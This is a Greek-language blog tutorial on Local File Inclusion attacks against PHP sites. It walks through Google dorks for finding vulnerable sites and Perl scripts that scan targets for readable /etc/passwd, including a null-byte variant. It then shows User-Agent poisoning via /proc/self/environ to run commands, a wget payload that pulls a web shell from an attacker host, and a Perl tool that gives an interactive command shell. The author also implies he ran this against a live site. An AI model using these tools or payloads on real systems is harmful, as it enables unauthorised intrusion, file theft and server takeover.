RSS

LFI (Local File Inclusion): Όταν η αυτοκρατορία πέφτει από μέσα!

24 Aug

Την εποχή των βασιλιάδων και των ιπποτών εκεί που οι μάχες έδιναν και έπαιρναν εκεί που η ασφάλεια του κάστρου έπαιζε σημαντικό ρόλο για την τύχη ολόκληρης της αυτοκρατορίας … κάπου εκεί έγιναν και οι πρώτες απόπειρες για παράνομες προσβάσεις στο κάστρο στόχο.Το πως, είναι προφανές. Η πίσω πόρτα από τότε είχε την τιμητική της. Την οποία ή την έβρισκαν οι επιτιθέμενοι ψάχνοντας τις αδυναμίες του κάστρου ή απλά κάποιος “καλοθελητής” την μαρτυρούσε. Φανταστείτε ένα κάστρο καλά οχυρωμένο απ’ έξω (φαινομενικά) αλλά μέσα γεμάτο με μαρτυριάρηδες αυλικούς που δεν χάνουν ευκαιρία να ψιθυρίσουν στους εχθρούς όλα τα μυστικά…

Στο παρόν blog, έχουν γίνει αναφορές σχετικά με την επίθεση RFI (Remote File Inclusion) όπου δηλαδή, κάποιος επιτιθέμενος μπορεί να εκτελεί κώδικα σε ένα απομακρυσμένο site μέσω ενός .php /.asp shell που “φιλοξενείται” σε δικό του server. Διαβάζοντας τον τίτλο LFI (Local File Inclusion) λογικά σε πολλούς σας ήρθε στο μυαλό συνειρμικά αυτή η επίθεση. Δεν έχετε και άδικο αφού είναι τις ίδια “συνομοταξίας”.. με την μόνη διαφορά ότι η επίθεση Local File Inclusion εμφανίζει αρχεία μέσα απ’ τα τον server.

Αν είχαμε ένα site που είχε πρόβλημα με τις επιθέσεις RFI η επίθεση θα γινόταν έτσι:

http://www.site.com/index.php?page=http://shellserver/shell.txt?

Ενώ ένα site ευπαθές σε LFI επιθέσεις, θα έχει την εξής σύνταξη:

http://www.site.com/index.php?page=../../../../../../../etc/passwd

Ας δούμε τι είναι μια επίθεση τύπου LFI και που οφείλετε μια τέτοια αδυναμία.Όλα αρχίζουν και τελειώνουν εδώ για τον απρόσεχτο προγραμματιστή!

<?php
$page = $_GET[page];
include($page);
?>

Όπως μπορεί να καταλάβει ο καθένας (ή περίπου ο καθένας), αυτό είναι ένα ευπαθές κομμάτι PHP κώδικα που δεν πρέπει ΠΟΤΕ να χρησιμοποιηθεί κατά τη δημιουργία μια σελίδας. Το include() δεν ελέγχετε πουθενά και αφήνει τα δεδομένα να “περνούν” στο site χωρίς πρώτα, να φιλτραριστούν με κάποιο τρόπο!

Χμμ, μια ενδιαφέρουσα ανακάλυψη -μέσω του LFI- θα ήταν το αρχείο /etc/passwd/ αφού, μέσω της επίθεσης LFI μπορούμε να διαβάσουμε αρχεία μεσα απ’ το server. Αν στη σελίδα index.php?page=news.php αντικαταστήσουμε το “news.php” με “../../../../../../../../../etc/passwd“, θα έχουμε στα χέρια μας το αρχείο “/etc/passwd/“.

Προσοχή: Μιλάμε πάντα για ένα site το οποίο είναι ευπαθές σε επίθεση LFI!

Βέβαια και αυτά τα στοιχεία να πάρουμε μπορούν να χαρακτηριστούν ως άχρηστα αφού είναι κωδικοποιημένα (με x) και ο μόνος τρόπος να τα σπάσουμε είναι να αποκτήσουμε πρόσβαση στο directory “/etc/shadow” το οποίο ΠΟΤΕ δεν είναι προσβάσιμο για το ευρύ “κοινό” αφού είναι only Readable / Writeable απ’ τον root.

Κάπως έτσι άδοξα λοιπόν, θα τέλειωνε η ‘καριέρα’ ενός skript kiddie (αφού πρώτα είχε κάνει φιγούρα σε γνωστούς, φίλους, ξαδέρφια και μακρινούς συγγενείς!!). Άρα, αν φτάσουμε μέχρι εδώ και το παρατήσουμε, θα συμφωνήσω ΑΠΟΛΥΤΑ με τους επικριτές του LFI, ότι αποτελεί μια άχρηστη τεχνική.

Τι θα γινόταν αν συνδικαζόταν κάπως αλλιώς;

Τα βήματα που ακολουθούν είναι και τα ρεαλιστικά βήματα που θα ακολουθούσε κάποιος κακόβουλος hacker ώστε να πάρει την πλήρη έλεγχο ενός site.

Το Χρονικό μιας επίθεσης.

Βήμα 1ο
Όπως όλοι μας γνωρίζουμε, ένα απ’ τα πιο δυνατά εργαλεία στα χέρια των hackers είναι η μηχανή αναζήτησης Google αφού ουσιαστικά τους λύνει τα χέρια με μερικές πληκτρολογήσεις (το μόνο που θέλει είναι εξοικείωση πάνω στον τρόπο που θέτουμε τα ζητούμενα.Ας επιστρέψουμε στο θέμα μας, το οποίο είναι το LFI και πως θα μπορούσε κάποιος να βρει vulnerable (σε  LFI) site μέσω του google.

Γράφοντας:

inurl:index.php?page=

ή

inurl:main.php?pg=
…και τα λοιπά…

Φυσικά μπορούμε να αλλάξουμε τα δεδομένα που έχουμε θέσει προς αναζήτηση… ανάλογα με τις απαιτήσεις και τις ανάγκες μας.

Βήμα 2ο
Αφού βρει κάποιος ένα site το οποίο είναι ευάλωτο σε επιθέσεις LFI σίγουρα διαπίστωσε ότι το συγκεκριμένο κενό ασφαλείας δίνει την δυνατότητα να ανάγνωσης του αρχείου “/etc/passwd”. Σειρά σε κάθε επίθεση έχει η εύρεση ή η δημιουργία ενός προγράμματος αυτοματοποιημένης εκμετάλλευσης του κενού ασφαλείας που βρήκαμε. Στην περίπτωση μας θα γράψουμε μόνοι μας όλα τα προγράμματα που θα χρησιμοποιήσουμε μιας και δημιουργώντας τα προγράμματα που χειριζόμαστε κατανοούμε καλύτερα το κενό ασφάλειας που εκμεταλλευτήκαμε.

#!/usr/bin/perl

use LWP::UserAgent;
use HTTP::Request;

print "\n(c) totalXaker magazine \n";
print "LocalFI Directory scanner [mr.pr0n]\n";
# Eisagwgh twn dedomenwn
print "Host: ";
print "[Ex: www.xxx.org ]:";
chop ($host = );
$host = "http://".$host if ($host !~ /^http:/);
print "Enter path:";
print "[Ex: xxx.php?xxx= ]:";
chop ($path = );
{
        $ext="../../../../../../../../../../../../../../etc/passwd";
        $lfi=$host."/".$path.$ext;
        print "$lfi\n\n";
        $useragent = LWP::UserAgent->new;
        $request=HTTP::Request->new(GET=>$lfi);
        $scnpg = $useragent->request($request)->as_string;
        # Elegxos gia thn le3ei pou periexei ta grammata root
        if ($scnpg=~/root/)
        {
                print "Woow ",$host," is Vulnerable!\n";
        }
        else
        {
                print "PFF.. ",$host," is NOT Vulnerable!\n";
        }
}

Ασ’ πούμε λίγα λόγια για τον παραπάνω κώδικα! Το scriptaki όπως μπορούμε να διαπιστώσουμε, δεν κάνει κάτι το ιδιαίτερο απλά μας βγάζει απ’ τον κόπο της χειρωνακτικής εκτέλεσης του LFI test για το αν το συγκεκριμένο site (που έχουμε βάλει στο μάτι) έχει πρόβλημα τύπου LFI η όχι και συγκεκριμένα αν έχει προσβάσιμο προς το κοινό το “/etc/passwd”.Όταν βρει το /etc/passwd (αν υπάρχει!) θα ψάξει τα περιεχόμενα της σελίδας για να βρει τη λεξη root

if ($scnpg=~/root/)

Ο λόγος που βάλαμε τη λέξη root είναι απλός και σίγουρα κατανοητός. Κάθε “/etc/passwd” που σέβεται τον εαυτό του αναφέρει στην αρχή του την λέξη root. Φυσικά μπορείτε το root να το αντικαταστήσετε με home ή να το προσθέσετε και αυτό στο scannarisma για μεγαλύτερη αξιοπιστία στο αποτέλεσμα. Σε περίπτωση που μας εμφανίσει το μήνυμα “Woow http://www.site.com is Vulnerable“, τότε είμαστε σε καλό δρόμο αλλιώς. Άλλη μια παράμετρος η οποία θα μπορούσε να προστεθεί στο scanneraki μας για έλεγχο είναι το Nullbyte (%00):

http://www.site.com/index.php?file=../../../../../../../../ etc/passwd%00

Έχουν υπάρξει φορές που ενώ ζητάμε από ένα site να μας εμφανήσει το αρχείο “/etc/passwd”, εκείνο είτε δεν μας το εμφανίζει, είτε μας εμφανίζει μηνύματα λάθους όπως στο παράδειγμα :

Warning: main(/etc/passwd.inc): failed to open stream: No such file or directoryectory in /var/www/htdocs/index1.php on line 199
Warning: main(): Failed opening '/etc/passwd.inc' for inclusion (include_path='.:/usr/lib/php') in /var/www/htdocs/index1.php on line 199

Ενώ, όταν βάλουμε /etc/passwd%00 μας εμφανίζει κανονικά /etc/passwd. Η μέθοδος αυτή λέγετε αλλιώς και Null poison attack. Κάτι τέτοιο είναι πολύ εύκολο να προστεθεί στον κώδικα μας, απλά προσθέτοντας μερικές γραμμές ακόμα. Μετά την γραμμή 29 μπορούμε να προσθέσουμε τον παρακάτω κώδικα.

Null poison Attack Code:

print "Tryin' to LFI with NullByte (%00)\n";
{
$ext2="../../../../../../../../../../../../../../etc/passwd%00";
$byte=$host."/".$path.$ext2;
print "$byte\n\n";
$useragent = LWP::UserAgent->new;
$request=HTTP::Request->new(GET=>$byte);
$scnpg = $useragent->request($request)->as_string;
if ($scnpg=~/root/)
{
        print "Woow ",$host," is Vulnerable with %00!\n";
}
else
{
        print "PFF.. ",$host," is NOT Vulnerable AGAIN!!\n";
}

}


Εικόνα 1.
Στην Εικόνα 1 βλέπουμε ένα site που με ευκολία μας δείχνει όλα του τα “ευαίσθητα” προσωπικά δεδομένα “/etc/passwd”. Καλό σημάδι για έναν εισβολέα..Κακό για τον admininstrator.

Βήμα 3ο
Στα προηγούμενα δύο βήματα ανακαλύψαμε ένα site το οποίο έχει πρόβλημα στο πως δέχεται τα δεδομένα, και αβίαστα εμφανίζει αρχεία μέσα που σε καμία περίπτωση δε θα έπρεπε να βλέπαμε. Το directory που θα χρησιμοποιήσουμε για τα παραδείγματα μας στη συνέχεια του άρθρου, δέν θα είναι το “/etc/passwd” αλλά το “/proc/self/environ/“.

Στην περίπτωση που θέλουμε να αυτοματοποιήσουμε την συγκεκριμένη διαδικασία -δηλαδή να ψάχνει για το directory “proc/self/environ”- απλα αλλάζουμε το directory που scannάραμε στο προηγούμενο βημα καθώς επίσης και το if ($scnpg=~/root/) σε if ($scnpg=~/HTTP_USER_AGENT/) και είμαστε έτοιμοι😉

Βλέπουμε στα στοιχειά που περιέχει το “/proc/self/environ/” αναφέρει και τα στοιχεία του User Agent μας.

Mozilla/5.0 (X11; U; Linux i686; el-GR; rv:1.9.0.3) Gecko/2008092510 Iceweasel/3.0.1 (Debian-4.0.1-2)


Εικόνα 2
Εδώ βλέπουμε μερικά στοιχεία που μας αποκαλύπτει το /proc/self/environ/.Στο οποίο θα προσπαθήσουμε να πάρουμε πρόσβαση.. Τώρα το πως, αποτελεί ένα αίνιγμα που θα ξετυλιχτεί λίγο-λίγο μπροστά στα μάτια σας.

Μας ήρθε μια σατανική ιδέα! Αφού δείχνει τα στοιχεία του User Agent μας σαν στοιχεία του site, θα δοκιμάσουμε, να αλλάξουμε τα στοιχεία αυτά με μια εντολή που μας δίνει για παράδειγμα τη λίστα όλων των περιεχομένων του κατάλογου όπου βρισκόμαστε! Στο linux είναι η εντολή ls.

Για να υλοποιήσουμε την σατανική μας ιδέα θα χρειαστούμε το Extension για τον FireFox με το όνομα Tamper Data.


Εικόνα 3
Το tamper data εν δράση!

Βήμα 4ο
Αφού εγκατασταθεί το extencion Tamper Data το βάζουμε σε λειτουργία😉
Το ανοίγουμε το site μας πάμε στην καρτέλα του Tamper Data, πατάμε start Tamper Data και κάνουμε refresh το site. Οταν μας εμφανιστεί αυτό που βλέπουμε στην εικόνα 3 πατάμε “tamper” και θα μας βγάλει στο το menu το οποίο φαίνεται στην εικόνα 4 και αλλάζουμε τα στοιχεία του User Agent με την εντολη ls -la, αλλά όχι έτσι απλά. H ολοκληρωμένη μορφή της εντολής θα πρέπει να είναι η ακόλουθη:

<? system("ls -la");?>


Εικόνα 4
Αλλάζουμε τα στοιχεία του User Agent στο συγκεκριμένο πεδίο με την εντολή . Αν όλα πάνε καλά μας περιμένει μια έκπληξη.

Ο λόγος που γράφουμε έτσι την εντολή είναι απλός. Προσπαθούμε να κοροϊδέψουμε το site ώστε να πιστέψει ότι και η εντολή μας είναι μέρος του κώδικα!😛

Βήμα 5ο
Αφού ακολουθήσαμε πιστά τις οδηγίες του όρθρου, κάνουμε refresh! Και…boom!
ΟΛΑ τα δεδομένα του συγκεκριμένου καταλόγου.(εικονα 5).

Εικόνα 5.
Όλα τα αρχεία που εμπεριέχονται στον συγκεκριμένο κατάλογο.. είναι ορατά σε έναν όχι και τόσο εξουσιοδοτημένο χρήστη!

Αν δεν καταλαβαίνετε τη λέει η λίστα, μπορείτε και κοιτάξετε τον πηγαίο κώδικα της σελίδας και αυτό που θα δείτε θα είναι κάπως …ετσι (Εικονα 6)

Εικόνα 6.
Μια πιο εύκολα αναγνώσιμη μορφή των δεδομένων της σελίδας!!

Βήμα 6ο
Αφού πήραμε μια γεύση για το τη μπορούμε να κάνουμε με το LFI, ας δούμε όμως μέχρι που μπορούμε να το φτάσουμε. Λοιπόν, ας αντικαταστήσουμε την προηγούμενη εντολή με μια λίγο διαφορετική. Αλλά βασισμένη στην ίδια λογική! Θα ανεβάσουμε σε δικο μας έναν server ένα shellakι όπως αυτά που χρησιμοποιούνται στις αντεπιθέσεις RFI.  Όταν γίνει αυτό βάζουμε το server-θυμα να το κατεβάσει στα αρχεία του με την εντολή wget!

<?php system("wget www.evilhacker.com/shell.txt; mv shell.txt hacked.php");?>

Με την παραπάνω εντολή, αναγκάζουμε το σύστημα να κατεβάσει -μέσω του “wget”- το shell.txt και μετά με την εντολή “mv” αλλάζουμε το όνομα από shell.txt σε hacked.php.

Πάμε στη σελίδα “/hacked.php”.

Εικόνα 7.
Το σύστημα είναι πλέων owned🙂 Και χωρίς καν να ιδρώσουμε!

Βήμα 7ο
Αφού κατανοήσαμε τον τρόπο με τον οποίο λειτουργεί η συγκεκριμένη επίθεση, σειρά έχει να γράψουμε ένα αυτοματοποιημένο εργαλείο το οποίο να μας επιστρέφει shell, ώστε να μην χρειάζεται να κάνουμε όλη την προαναφερθείσα διαδικασία.

#!/usr/bin/perl

use LWP::UserAgent;
use HTTP::Request;

print "\n(c) totalXaker magazine \n";
print "LocalFI Automatic Ownage Tool [mr.pr0n]\n";
print "Host: ";
print "[Ex: www.xxx.org ]:";
chop ($host = );
$host = "http://".$host if ($host !~ /^http:/);
print "Enter path:";
print "[Ex: xxx.php?xxx= ]:";
chop ($path = );
{
        $ext="../../../../../../../../../../../../../../../../../../../proc/self/environ";
        $lfi=$host."/".$path.$ext;
        print "$lfi\n\n";
        $useragent = LWP::UserAgent->new;
        print ":~# ";
        while( $cmd = )
        {
                chop($cmd);
                # Allazoyme ta stoixeia tou User Agent me oti 8eloume emeis
                $useragent->agent("data<!--?php system('$cmd');?-->data");
                $response = $useragent->get( $lfi );
                # Osa stoixeia emfanistikan ap thn entolh, anagrafonte sto termatiko
                if ($response->content =~ /data(.*)data/s)
                {
                        print $1;
                }
                print ":~# ";
        }
}

Τα αποτελέσματα και η χρήση του προγράμματος που γράψαμε είναι εμφανέστατα στην εικονα 8.

Εικόνα 8.
Το μικρο μας -όχι τόσο αθώο- προγραμματάκι έχει βάλει δυνατά του να μας βγάλει ασπροπρόσωπους και τα κατάφερε μια χαρά αφού πήραμε cmd μέσα στον server-στόχο. Πόσο χειρότερα για τον Admin θα μπορούσαν να είναι τα πράγματα?

Επίλογος

Όπως θα διαπιστώσατε στις εικόνες, τα στοιχεία του site είναι καλυμμένα ως έναν αρκετά ικανοποιητικό βαθμό, ώστε να αποφευχθούν οι επιθέσεις από ανώριμα script kiddies τα οποία το μόνο που θα ενδιαφερθούν είναι να κάνουν ενα deface στο server χωρίς καν να καταλάβουν πως έγιναν όλα αυτά.

Όπως είναι φυσικό και επόμενο το shell “hacked.php” που είχα ανεβάσει, έχει σβηστεί απ’τον server καθώς επίσης δεν έχει πειραχτεί κανένα μα κανένα αρχείο. H γνώση δείχνει δύναμη.. ενώ η επίδειξη της δύναμη με σκοπό την καταστροφή δείχνει απλά την μετριότητα.

 
Leave a comment

Posted by on August 24, 2011 in It's Greek to Me

 

Tags: , , ,

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

 
%d bloggers like this: